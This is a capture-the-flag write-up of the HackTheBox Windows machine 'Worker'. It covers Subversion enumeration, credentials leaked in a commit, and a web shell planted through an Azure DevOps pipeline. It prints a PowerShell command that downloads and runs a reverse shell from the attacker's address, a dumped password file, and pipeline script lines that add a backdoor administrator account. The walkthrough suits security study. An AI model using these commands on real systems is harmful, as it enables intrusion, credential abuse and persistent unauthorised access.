HackTheBox - Worker

HackTheBox - Worker

Worker is a medium difficulty Windows machine that features a self-hosted Apache Subversion and Azure DevOps server. Enumerating the Subversion server discovers a set of credentials and a subdomain at which the Azure DevOps is hosted. The credentials can be used to login into Azure DevOps. Dropping a web shell into one of the live sites allows me to gain foothold on the system. Enumerating the system reveals another credentials which can also be used to login into Azure DevOps. With these credentials, I’m able to gain administrator access through Azure Pipeline.

Skills Learned

  • SVN enumeration
  • Windows enumeration
  • Exploiting Azure Pipelines

Tools

Reconnaissance

Nmap

An initial TCP scan with nmap discovers two open ports: 80 (HTTP) and 3690 (Subversion).

→ root@kali «worker» «10.10.14.19» 
$ nmap -sC -sV -oN worker-initial -v 10.10.10.203
# Nmap 7.80 scan initiated Sun Aug 16 11:35:56 2020 as: nmap -sC -sV -oN worker-initial -v 10.10.10.203
Nmap scan report for dimension.worker.htb (10.10.10.203)
Host is up (0.16s latency).

PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
3690/tcp open  svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Performing another scan on typical Active Directory DC ports shows only WinRM (5985) is open.

→ root@kali «worker» «10.10.14.19»
$ nmap -p53,445,389,5985 10.10.10.203
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-31 13:34 EST
Host is up (0.013s latency).

PORT     STATE     SERVICE
53       filtered  domain
389      filtered  ldap
445      filtered  microsoft-ds
5985     open      wsman

Enumeration

TCP 80 - Website

Visiting the port 80 displays the IIS default page.

image-20210503174900610

TCP 3690 - Subversion/SVN

This is my first encounter with Subversion, it is a software for version control that is similar to git. To interact with this service, I’ll need the Subversion client. Fortunately, it was preinstalled in Kali Linux.

The general usage is as follows:

$ svn <sub-command> svn://[ip]
  • Example of subcommand: ls, cat, info, log.

With the subcommand ls, I can list the repository contents.

→ root@kali «worker» «192.168.2.103»
$ svn ls svn://10.10.10.203
dimension.worker.htb/
moved.txt

The content of moved.txt tells that the svn repository is no longer maintained, and the latest repo is available at http://devops.worker.htb.

→ root@kali «worker» «192.168.2.103»
$ svn cat svn://10.10.10.203/moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

With the subcommand info, I find the author of the repository. It also reveals that the repository has 5 revisions (commit).

→ root@kali «worker» «192.168.2.103»
$ svn info svn://10.10.10.203
Path: .
URL: svn://10.10.10.203
Relative URL: ^/
Repository Root: svn://10.10.10.203
Repository UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1
Revision: 5
Node Kind: directory
Last Changed Author: nathen
Last Changed Rev: 5
Last Changed Date: 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020)

I can check the revision log using the sub command log.

→ root@kali «worker» «192.168.2.103»
$ svn log svn://10.10.10.203
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
r5 | nathen | 2020–06–20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line
Added note that repo has been migrated
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
r4 | nathen | 2020–06–20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line
Moving this repo to our new devops server which will handle the deployment for us
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
r3 | nathen | 2020–06–20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
r2 | nathen | 2020–06–20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line
Added deployment script
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
r1 | nathen | 2020–06–20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line
First version
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

The commit message on r2 seems interesting.

I can check the differences between r1 and r2 using the subcommand diff. The output shows there is a hard-coded credentials.

→ root@kali «worker» «192.168.2.103»
$ svn diff -r 1:2 svn://10.10.10.203/

image-20210503175056134

From here, I’ll take note about what I’ve found here.

  • Two subdomains: dimension.worker.htb and devops.worker.htb
  • A set of credentials: nathen:wendel98

I’ll add those two subdomains to my /etc/hosts file.

10.10.10.203 dimension.worker.htb devops.worker.htb

Then after I make sure there is nothing left, I’ll revisit port 80 with the newly discovered subdomain.

TCP 80 - dimension.worker.htb

Visiting dimension.worker.htb presented with a static page.

image-20210503175111010

It even leads to others static site (with subdomain) which I think they are just decoy.

image-20210503175127918

Before moving on, I’ll add all the subdomains I found on /#work to my /etc/hosts. They are:

  • alpha.worker.htb
  • cartoon.worker.htb
  • lens.worker.htb
  • solid-state.worker.htb
  • spectral.worker.htb
  • story.worker.htb

Now I’ll jump over to the mentioned DevOps server at http://devops.worker.htb.

Azure DevOps - SmartHotel360

Visiting http://devops.worker.htb pops an authentication prompt. It logs me in after I entered the credentials I obtained from SVN, and the user, nathen, is currently working on a project called “SmartHotel360”.

image-20210503175154637

My first objective is to find out what permission do this user have. I clicked the project and try to lookup into the Project Settings.

image-20210503175211414

User permission or group related settings are found to be under the Security menu (Project Settings -> Security Settings).

It seems user nathen is the only member of the SmartHotel360 Team.

image-20210503175233456

And the SmartHotel360 team is a member of Contributors group and Projects Valid Users, and this is added by default upon creating a team group.

image-20210503175249455

The Contributors group and Projects Valid Users group permissions are defined here, and user nathen inherits those two groups' permission.

image-20210503230648404

From there, I try to lookup into the project’s repository.

I find a bunch of website repositories on the Repos menu. These repositories are previously listed on http://dimension.worker.htb/#work page. User nathen is the author of these repositories.

image-20210503175346216

On the Pipelines menu, there are Azure Pipelines for some of the sites. Azure Pipelines is CICD feature from Azure DevOps. It is similar to GitHub Action that I use to rebuild this static site using Hugo when there is a new commit pushed into the main/master branch.

My video recommendation about CICD: https://www.youtube.com/watch?v=scEDHsr3APg

image-20210503175356998

User nathen is allowed to queue a builds.

image-20210503175409857

With all of these permission, I can make changes such as dropping a web shell to one of the site repositories that has its own pipeline, say the alpha repository which has Alpha-CI, then I can queue those changes to the pipelines and wait until the site re-deployed/hosted. From there, I should be able to access my web-shell.

Foothold

Shell as IIS appool

Webshell Upload

On my first attempt, it tells me to use pull requests instead of uploading a file directly to the master branch.

So, I’ll upload my web shell which is cmdasp.aspx (because the web server is IIS) on a new branch. I’ll be using the alpha repository.

image-20210503175435088

I’ll pick any available work items.

image-20210503175452577

I can just drag and drop the web shell, and commit it afterwards.

image-20210503175506892

From here, I can create a pull request to the master branch to trigger the pipelines or run the Alpha-CI build manually.

If I choose a pull request, it needs to be reviewed first and the reviewer is the user nathen itself, it can decide whether to approve or reject the pull request (well, actually it was me who decide it). It then queue the build.

image-20210503175518917

The other options is with this queue builds. I can skip the review and run the queue builds for my branch (on the image it is shell branch instead of iamf).

image-20210503175531792

After the build finished, I can see my web shell is available at alpha.worker.htb/cmdasp.aspx.

image-20210503175541314

To gain an interactive shell, I’ll setup a netcat listener on my Kali, then I’ll upload a PowerShell reverse shell called itsf.ps1 and execute it via the web shell.

powershell.exe "mkdir c:/temp;invoke-webrequest -uri 10.10.14.19/itsf.ps1 -outfile C:\temp\itsf.ps1;C:\temp\itsf.ps1"

I have a shell now on my listener.

image-20210503175604917

Privilege Escalation

Shell as robisl

Internal Enumeration

Enumerating the user groups and privileges using the whoami /all command reveals that IIS appool has SeImpersonatePrivilege which according to BookHackTrick, it can be abused using RogueWinRM.

image-20210503175615273

Unfortunately, the WinRM port was already open, I couldn’t exploit it with RogueWinRM. But, I managed to find another way!

Enumerating the Users folder finds two users, robisl and restorer (as the name implies, it restore the box configuration, I’ll ignore this).

image-20210503175630874

By using the net command, it shows that robisl can login remotely.

PS C:\Users> net user robisl
User name                    robisl
Full Name                    Robin Islip
Comment                      
User’s comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2020-04-05 21:27:26
Password expires             Never
Password changeable          2020-04-05 21:27:26
Password required            No
User may change password     No

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   2020-08-18 18:28:36

Logon hours allowed          All

Local Group Memberships      *Production           *Remote 
Global Group memberships     *None                 
The command completed successfully.

With net command, I also find there is another drive mounted as W:\

PS C:\users\>net share

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share
IPC$                                         Remote IPC
W$           W:\                             Default share
ADMIN$       C:\Windows                      Remote Admin
The command completed successfully.

There are 4 folders in the W:\ drive, the one that interesting is the svnrepos folder.

PS W:\> dir


    Directory: W:\


Mode                LastWriteTime         Length Name                                                             
----                -------------         ------ ----                                                             
d-----       2020-06-16     18:59                agents                                                          
d-----       2020-03-28     15:57                AzureDevOpsData                                                
d-----       2020-04-03     11:31                sites                                                          
d-----       2020-06-20     16:04                svnrepos

I can enumerate all folder and sub folder on the W: drive recursively using the dir command. Because I’m on PowerShell, I have to specify cmd /c .

PS W:\> cmd.exe /c "dir /s /b svnrepos"

Well PowerShell can do that too.

PS W:\> Get-ChildItem -Path W:\svnrepos -Filter * -Recurse -ErrorAction SilentlyContinue -Force

In the output, there is a passwd file that immediately draws my attention.

image-20210504232344047

The passwd file contains a bunch of credentials, one of which is a password for robisl.

PS W:\svnrepos\> gc .\www\conf\passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday

Remote Access - robisl

I can login remotely using robisl credentials with evil-winrm.

→ root@kali «worker» «10.10.14.19»
$ evil-winrm -i 10.10.10.203 -u robisl -p wolves11

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\robisl\Documents> whoami
worker\robisl
*Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\robisl\Desktop> dir


    Directory: C:\Users\robisl\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/29/2020   3:37 PM             34 user.txt

Shell as administrator

Azure DevOps - PartsUnlimited

After enumerating many things in the remote shell and coming up empty-handed, I returned to Azure DevOps, but this time with a robisl account.

image-20210503175744995

Long short story, robisl is member of Build Administrator.

image-20210503175756504

The Build Administrators defined as follows [source].

Exploit Azure Pipelines - Read the Root Flag

So the plan is, I’ll create an Azure pipelines with malicious deployment script/task to execute OS commands.

image-20210503175809136

If I lookup into the agent pool in the Project Settings menu, there is an available agent named ‘Setup’. The agent is owned by an Administrator account, and as a Build Administrator member (inherited), user robisl also has access to it.

image-20210503175820811

So, let’s execute the plan!

First, I’ll create a pipeline (Pipelines -> Builds -> New Pipeline).

image-20210503175837201

In the next section, I’ll choose Azure Repos Git.

image-20210503175848517

On the next one, I’ll select “PartsUnlimited” as the repository, because that is the repo where robisl is working on.

image-20210503175906165

In the Configure section, scroll down and select the starter pipeline (I forgot the name, but don’t choose the existing one). After that, I’ll modify the pool and the script in the “Review” section to steal the flag.

image-20210503175920007

The master branch will be the trigger to run the CI\CD (If I push a changes to the “PartsUnlimited” repository). Since I have access to the “Setup” pool, I’ll use it as the pool. Lastly, on the steps you can add a task/script you want to run/do. In my case, I want to read the root flag.

I’ll save it and run it on a new branch.

image-20210503175931307

I’ll just wait for the output log.

image-20210503175944023

Once it completed, I can see the root flag inside the “Steal the flag” output

image-20210503175957351

Create User with Administrator Privileges

I can also create a privileged user using multi-line script.

- script: | 
net user iamf YourComplexPassword /add /domain
net localgroup Administrators iamf /add 
net localgroup "Remote Management Users" iamf /add 
displayName: "Set IamF to Admin"

I can push it again and wait for it to complete.

image-20210503180039057

Now I can login with the newly created user.

image-20210503180028754

References